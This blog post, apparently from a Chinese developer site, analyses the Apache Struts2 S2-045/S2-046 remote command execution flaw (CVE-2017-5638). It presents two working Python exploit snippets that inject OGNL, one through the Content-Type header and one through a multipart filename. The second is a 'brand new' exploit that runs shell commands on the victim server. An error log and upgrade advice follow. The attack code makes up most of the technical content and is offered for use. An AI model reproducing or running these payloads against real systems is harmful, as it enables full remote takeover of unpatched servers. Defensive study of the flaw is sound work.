Struts2 S2-045 RCE Vulnerability Analysis & Brand New Exploit

本文详细介绍了Struts2 S2-045漏洞,该漏洞可能导致远程命令执行,攻击者借此获取受害者的完全控制权。作者分享了一个尚未在野外广泛传播的新exploit代码,并展示了攻击者如何利用此漏洞,使用何种命令,以及可能的恶意软件传播方式。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

这里写图片描述
I haved finished and developped a new exploit poc several days ago, it’s true I didn’t plan to publish this Exploit for S2-046, but I found someone has uncover the veil, so let it go.
https://github.com/WalterJia/Exploits_Sets

Summary

Struts2 S2-045 exploit has been spread in the wild, attacker can exploit it to assault the victim with remote command execution and get the fully controlled privilege of victim.
In this paper, we will introduce a new exploit code not found in the wild, and show how the attacker assault the target, what kind of command being used, what kind of malware spread and so on.

QuestionAnswerother
Who should read thisall Struts 2 developers, users, security researcher
Impact of vulnerabilityRCE when access any action backend based on Jakarta Multipart parser
Maximum security ratingCritical
RecommendationUpgrade to Struts 2.3.32 or Struts 2.5.10.1
Affected SoftwareStruts 2.3.5 - Struts 2.3.31, Struts 2.5 - Struts 2.5.10
CVE IdentifierCVE-2017-5638

Exploit
These two exploits below can be used to assault the target with Struts2 vulnerability, the first one is being used and widespread in the wild, the second one is not found yet.
1. Exploit snippet with content-type in the wild

def exploit(url, cmd):
    payload = " Content-Type: %{(#_='multipart/form-data')."
    payload += "(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)."
    payload += "(#_memberAccess?"
    payload += "(#_memberAccess=#dm):"
    payload += "((#container=#context['com.opensymphony.xwork2.ActionContext.container'])."
    payload += "(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class))."
    payload += "(#ognlUtil.getExcludedPackageNames().clear())."
    payload += "(#ognlUtil.getExcludedClasses().clear())."
    payload += "(#context.setMemberAccess(#dm))))."
    payload += "(#cmd='%s')." % cmd
    payload += "(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win')))."
    payload += "(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd}))."
    payload += "(#p=new java.lang.ProcessBuilder(#cmds))."
    payload += "(#p.redirectErrorStream(true)).(#process=#p.start())."
    payload += "(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream()))."
    payload += "(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros))."
    payload += "(#ros.flush())}"
  1. Exploit snippet with filename-Brand new exploit

Invalid file name exception will lead that Jakarta handles exception and executes the Ognl.

2017-03-14 21:37:21,249 WARN  [http-bio-8080-exec-9] multipart.JakartaMultiPartRequest (JakartaMultiPartRequest.java:82) - Unable to parse request
org.apache.commons.fileupload.InvalidFileNameException: Invalid file name: xxxxxxx\0%{(#xx=#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse']).(#xx.addHeader('PANW','multipart/form-data'))}
def exploit(url, cmd):
    body = "------WebKitFormBoundaryTb12KjLWSQu5ZIP6\r\n" + \
            'Content-Disposition: form-data; name="upload"; filename="xxxxxxx\x00%{(#_=\'multipart/form-data\').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context[\'com.opensymphony.xwork2.ActionContext.container\']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd=\'mkdir -p /var/xxx\').(#iswin=(@java.lang.System@getProperty(\'os.name\').toLowerCase().contains(\'win\'))).(#cmds=(#iswin?{\'cmd.exe\',\'/c\',#cmd}:{\'/bin/bash\',\'-c\',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}"\r\n' + \
            "Content-Type: application/octet-stream\r\n\r\n" + \
            "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx\r\n" + \
            "------WebKitFormBoundaryTb12KjLWSQu5ZIP6--\r\n"
…………………………………

3.Expoit result
After execute the exploit we can see there is directory “xxx” created on the victim, please refer to the picture below.
这里写图片描述

PS

https://cwiki.apache.org/confluence/display/WW/S2-045
https://github.com/rapid7/metasploit-framework/issues/8064

Apache Log for vulnerability 
2017-03-14 21:37:21,249 WARN  [http-bio-8080-exec-9] multipart.JakartaMultiPartRequest (JakartaMultiPartRequest.java:82) - Unable to parse request
org.apache.commons.fileupload.InvalidFileNameException: Invalid file name: xxxxxxx\0%{(#xx=#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse']).(#xx.addHeader('PANW','multipart/form-data'))}
    at org.apache.commons.fileupload.util.Streams.checkFileName(Streams.java:189) ~[commons-fileupload-1.3.2.jar:1.3.2]
    at org.apache.commons.fileupload.disk.DiskFileItem.getName(DiskFileItem.java:259) ~[commons-fileupload-1.3.2.jar:1.3.2]
    at org.apache.struts2.dispatcher.multipart.JakartaMultiPartRequest.processFileField(JakartaMultiPartRequest.java:105) ~[struts2-core-2.5.10.jar:2.5.10]
    at org.apache.struts2.dispatcher.multipart.JakartaMultiPartRequest.processUpload(JakartaMultiPartRequest.java:96) ~[struts2-core-2.5.10.jar:2.5.10]
    at org.apache.struts2.dispatcher.multipart.JakartaMultiPartRequest.parse(JakartaMultiPartRequest.java:67) [struts2-core-2.5.10.jar:2.5.10]
    at org.apache.struts2.dispatcher.multipart.MultiPartRequestWrapper.<init>(MultiPartRequestWrapper.java:86) [struts2-core-2.5.10.jar:2.5.10]
    at org.apache.struts2.dispatcher.Dispatcher.wrapRequest(Dispatcher.java:804) [struts2-core-2.5.10.jar:2.5.10]
    at org.apache.struts2.dispatcher.PrepareOperations.wrapRequest(PrepareOperations.java:148) [struts2-core-2.5.10.jar:2.5.10]
    at org.apache.struts2.dispatcher.filter.StrutsPrepareFilter.doFilter(StrutsPrepareFilter.java:91) [struts2-core-2.5.10.jar:2.5.10]
    at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:241) [catalina.jar:7.0.65]
    at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:208) [catalina.jar:7.0.65]
    at org.apache.catalina.core.StandardWrapperValve.invoke(StandardWrapperValve.java:220) [catalina.jar:7.0.65]
    at org.apache.catalina.core.StandardContextValve.invoke(StandardContextValve.java:122) [catalina.jar:7.0.65]
    at org.apache.catalina.authenticator.AuthenticatorBase.invoke(AuthenticatorBase.java:505) [catalina.jar:7.0.65]
    at org.apache.catalina.core.StandardHostValve.invoke(StandardHostValve.java:170) [catalina.jar:7.0.65]
    at org.apache.catalina.valves.ErrorReportValve.invoke(ErrorReportValve.java:103) [catalina.jar:7.0.65]
    at org.apache.catalina.valves.AccessLogValve.invoke(AccessLogValve.java:956) [catalina.jar:7.0.65]
    at org.apache.catalina.core.StandardEngineValve.invoke(StandardEngineValve.java:116) [catalina.jar:7.0.65]
    at org.apache.catalina.connector.CoyoteAdapter.service(CoyoteAdapter.java:423) [catalina.jar:7.0.65]
    at org.apache.coyote.http11.AbstractHttp11Processor.process(AbstractHttp11Processor.java:1079) [tomcat-coyote.jar:7.0.65]
    at org.apache.coyote.AbstractProtocol$AbstractConnectionHandler.process(AbstractProtocol.java:625) [tomcat-coyote.jar:7.0.65]
    at org.apache.tomcat.util.net.JIoEndpoint$SocketProcessor.run(JIoEndpoint.java:316) [tomcat-coyote.jar:7.0.65]
    at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1145) [?:1.7.0_75]
    at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:615) [?:1.7.0_75]
    at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61) [tomcat-coyote.jar:7.0.65]
    at java.lang.Thread.run(Thread.java:745) [?:1.7.0_75]
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值